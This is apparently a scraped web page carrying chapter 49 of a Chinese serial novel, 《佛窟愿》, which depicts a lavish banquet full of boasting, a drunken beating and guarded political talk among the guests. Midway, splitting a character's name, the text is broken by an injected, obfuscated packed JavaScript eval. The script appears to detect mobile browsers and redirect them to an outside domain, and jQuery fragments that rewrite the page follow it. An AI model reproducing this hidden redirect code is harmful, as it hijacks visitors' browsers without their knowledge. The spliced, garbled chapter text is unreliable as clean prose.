49. 豪宴

作品:《佛窟愿

    陈巨仁的生意做到各行各业,日进斗金,宴请的菜品都冒着逼人的财气。


    箸头春、全羊菜、明四喜、雪山驼掌、玛瑙海参、烩肉三鲜……


    一道道山珍海味摆满桌席,菜蔬色泽艳丽,肉糜香气扑鼻,蒸、烤、煮、炸、炒应有尽有。


    王立志馋直了眼睛,全羊菜十二个菜盘还未拼齐,便迫不及待抓过一根羊棒骨,照直往嘴里送。


    “投胎的饿鬼,抢食的狗!”王齐嫌弃咒骂。


    王立志吧唧吧唧毫不在意,鼓起腮帮子,嚼得嘴唇油光淋淋。


    陈巨仁提起酒杯,从潘太爷起,朝众人虚划一圈,笑呵呵道:“承蒙诸位百忙之中抽空捧场。今日借艺术展览的由头,邀请诸位共商伟业。酒菜粗粝,款待不周,还望诸位随意、尽兴!”


    酒饮尽,王立志“哼”一声:“这特么还款待不周?别臭显摆啊陈老爷,老子什么好东西没吃过?桌上的老子都认得!”他拿羊棒骨指点道,“单说这全羊菜,整个沙城就五味馆能做,吃一次三千大洋!老子虽然有钱,一个月也才舍得吃一回!”


    他手里的羊棒骨一转,指向玛瑙海参:“这大粗棒就是冤种!软弹弹的玩意儿,嚼着不如猪皮对味,还特么一百大洋一两,比老子的红土还金贵!”


    “能让老子相中的——”羊棒骨再转,朝一道金汤清亮的菜式点了点,“也就这骆驼掌!嘿嘿,这东西最得劲!老子每次吃完,浑身拱火,非得跑香绢堂泄泄才舒爽!”


    说完,王立志两指捻了一片驼掌肉,伸出舌头卷进嘴里,啪唧嚼烂。


    “香!”


    陈巨仁哈哈大笑:“王队长好眼力呀!能认出我这满桌菜的人,整个沙城掰着指头就能数过来。博闻广识,您算一位!”


    王立志得意地摆摆手,一脚踏上椅面,膝盖撑着手肘,继续啃他的羊棒骨。但凡新的菜式端上来,他先扒拉夹一筷子,然后指手画脚点评几句,唾沫星子混着菜汁汤油横飞,吃得耀武扬威。


    “陈老爷家底丰厚啊!这天上飞的,地上跑的,水里游的,都逃不出成为你的盘中之物。可想而知,你藏宝楼里的宝贝又是何等珍稀!今日大家诚心参观,只盼陈老爷不吝布展,让我等开开眼界啊!”潘太爷敬酒恭维。


    陈巨仁笑回不迭,一杯酒下肚,放出豪言:“承蒙抬爱,稍后诸位若有看得上的宝贝,我陈巨仁免费赠送一件。”


    王立志眼睛放光:“什么经、画儿都能拿?”


    陈巨仁点头:“任凭挑选。”


    “哦呵!好哇!”王立志鼓掌,将羊骨棒一丢,拎起酒壶跑过去敬酒。连干三杯,酒劲上头,不觉飘然起来,突然指着言麟之道:“言老板,你戏飞卖得翘,老子愣是一回都没抢到过!什么水磨嗓、莲步摇,老子心里巴巴痒着,稀奇的紧啊!来,唱两段助助兴!唱得好老子有赏!”


    话音刚落,潘太爷的茶盏“啪嗒”落桌。


    言麟之笑笑,正要开口,陈巨仁替他回绝道:“王队长想听麟官的戏,改天巨仁送你一张戏飞便是。今日言老板行头不在,若唱的不妙,演的不佳,反倒给你添堵。咱们还是正经吃饭罢。”


    王立志斜睨眼睛,话锋又转到陈巨仁身上:“陈老爷啊,你做事大方!可你介绍的生意不阔气!陈家小子已经坑歪,老子的荷包却还瘪着!严录赖老子两张地皮,这事儿你得管!要是不答应,老子住进你藏宝楼,不走了!”


    “阿志!”王齐见陈巨仁脸色不佳,忙打住话茬,把王立志揪回座位。一面朝陈巨仁拱手赔笑:“阿志一喝酒便犯糊涂,嘴门关不住把儿乱扯王八,陈老爷勿要放在心上……”


    陈巨仁自饮一杯,没有应话。


    气氛稍显凝重。


    “年轻人喜欢野饮,喝起来没个度量。但今日吃的是文化饭,宜文雅,宜慢淡。若起头醉了,待会儿看不成宝贝,可不是辜负了陈老爷的好意哇?”潘太爷捋了捋胡须,意味深长地看了王齐一眼。


    王齐眼神发狠,抡起手朝王立志脸上甩去几个巴掌。


    “啪啪——”


    王立志痛得哆嗦,捂脸跳起来,“哥!你打老子做什么!”他见势头不对,嚣张气焰顿时灭去大半,赶紧跑着躲开。


    王齐哪肯放他,只管追着他揍,直揍到陈巨仁旁边,更是下力猛掼。


    王立志连声告饶,顷刻功夫,脸上就接青连红,鼻涕口涎都被揍出来了,不仅模样惨烈,鬼哭狼嚎的声音更把人耳朵吵穿。


    眼看他走投无路,准备往桌子底下钻时,陈巨仁终于站起来,拉住王齐劝道:“年轻人酒量不好,以后多练练就是。动怒伤肝,王老板消消气。”


    听罢,王齐立马停手,转脸笑道:“陈老爷说的是,回去之后,我定好好训练阿志的酒量,不再叫他闹这等笑话。”


    王齐揪住王立志的耳朵重新回到自己的座位。


    小插曲总算停歇。


    潘太爷摸着胡须,欣慰地笑了笑。眼神微转,转到瞧了半天热闹也未吱一声的孟灿云身上。


    “孟小姐,刚才吓坏了吧?”


    孟灿云坐在传菜口的位置,右邻王立志,左邻言麟之。王齐教训王立志的时候,言麟之怕她受牵连,让她挪挪凳子靠近自己,顶多挨得紧,肩膀贴着肩膀,谈不上其他心思。但是经潘太爷这样一问,却像是她故意作出受惊的姿态,借机倚在言麟之怀里暧昧。


    身处豺狼虎豹堆,孟灿云从进屋就提着心,屏息凝神,打算安静当一块背景板。潘太爷却一再将注意力聚在她身上,令她狐疑的同时,感受到一种熟悉的敌意。


    “快看!脸都吓红啰!”王


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057015|161888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仲昌拿筷子指着她打趣。


    孟灿云知道自己问心无愧,但在众人的注视下——尤其潘太爷那道意味不明的凝视,她还是不由自主地与言麟之隔开,移回原来的位置。


    “我不会喝酒,容易上脸……”她尴尬解释。


    “难怪提杯之前不见你吃菜垫垫。瞧你还未起筷,是菜不合胃口?”潘太爷说着,转头向陈巨仁道,“陈老爷啊,严录的表妹也是今日的客人,你不能只顾周全我们而怠慢她呀。”


    “严录的表妹?”陈巨仁神色茫然,“是哪一位?”


    孟灿云心中一沉,正不知如何应对,言麟之及时接过话:“是小孟呀,我先前跟您提过的。”


    陈巨仁立马会意,轻拍脑门:“确有此事,确有此事。”说着,他拎起酒壶走到孟灿云跟前,“近期事物烦琐,记忆欠佳。孟小姐应知道我与泰兴洋行陈氏的关系。你既能放下成见来我府上参加展会,我陈某自然也不会因你的表哥而故意怠慢你。今日玩好,宝贝多挑两件。招待不周的地方,还望多多见谅啊。”说完,他自罚一杯酒,显得异常客气。


    听见孟灿云能多拿两件宝贝,刚消停的王立志立刻坐不住了。不过王齐紧紧盯着他,纵使他再有想法,也只能嘟哝两句,继续埋头吃饭。


    “哦?陈老爷与孟小姐,竟然是第一次见呐?”潘太爷追问。


    陈巨仁呵呵笑道:“潘太爷是知道的,自从我与陈氏决裂,再未与那帮人有任何联系。严录一出生就被老爷子送了人。我跟他更无甚交情。别说他的表妹,纵是来的陈氏堂妹,恐怕,我也不认得。”


    “潘太爷,尝尝我家的明四喜啊,味道鲜的很!”陈巨仁给潘太爷夹了一颗大肉圆。


    潘太爷看着肉圆滚入碗盏,晃晃荡荡在碗底停定,终于不再追问。


    王仲昌则若有所思,看看潘太爷,再看看陈巨仁,忍不住起话头:“陈老爷,听潘太爷说您想借我宁城的空地。讲什么借头?”


    陈巨仁点点头,正待详说,朝孟灿云扫了一眼,又把话咽回肚子:“这事跟我一位朋友相关,原定等他亲自与王将军商讨。可惜不巧,他今天没有来成。王将军多留两日呀,后边儿我再安排你们见面。”


    王仲昌想了想:“是不是叫……”


    “王将军!再谈公事,菜都要凉了。”言麟之突然打断他的话,夹了一块肉喂到他嘴边,“难得单身自由的时光,您不尽兴跟我耍玩,等余师兄巡演回来,您即便拿建梨园来诱惑我,我也不会出来见您。”


    说完,他又给王仲昌斟满酒,颤巍巍递过去,途中故意撒了点酒在他腿上,然后攥住袖口,为他温柔擦拭。


    一番动作挠得王仲昌心尖发痒,不禁抓住言麟之的手,跟他抵额贴耳细靡说笑起来。


    众人不再言他,尽兴吃饭。